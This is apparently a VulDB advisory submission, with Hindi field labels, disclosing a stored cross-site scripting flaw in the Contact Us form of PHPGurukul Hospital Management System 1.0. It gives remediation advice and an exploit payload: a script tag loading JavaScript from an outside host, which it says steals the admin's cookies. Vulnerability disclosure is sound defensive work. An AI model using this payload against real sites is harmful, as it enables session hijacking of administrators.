| शीर्षक | PHPGurukul Hospital Management System 1.0 Cross site scripting |
|---|
| विवरण | Details:
- **Affected Component:** Contact Us Form
- **Endpoint:** `https://192.168.1.12/Hospital-Management-System-PHP/hospital/index.php#contact_us`
- **Vulnerable Input Fields:** Name, Email Address, message
- **Exploitable Payload:** `"><script src="https://js.rip/9jgolnku9i"></script>`
- **Impact:** Admin's cookies compromised upon reviewing Contact Us queries.
Recommendations:
1. Validate and sanitize user inputs.
2. Implement Content Security Policy (CSP) for XSS mitigation.
3. Promptly investigate and address this vulnerability. |
|---|
| स्रोत | ⚠️ https://drive.google.com/file/d/1MkVtMe63h5TlZvcC_Hc1fn6dn-jwNR8l/view?usp=sharing |
|---|
| उपयोगकर्ता | mallutrojan (UID 60819) |
|---|
| सबमिशन | 03/01/2024 05:20 PM (3 साल पहले) |
|---|
| संयम | 06/01/2024 04:43 PM (3 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 249843 [PHPGurukul Hospital Management System 1.0 Contact Form index.php#contact_us Name/Email/Message क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 20 |
|---|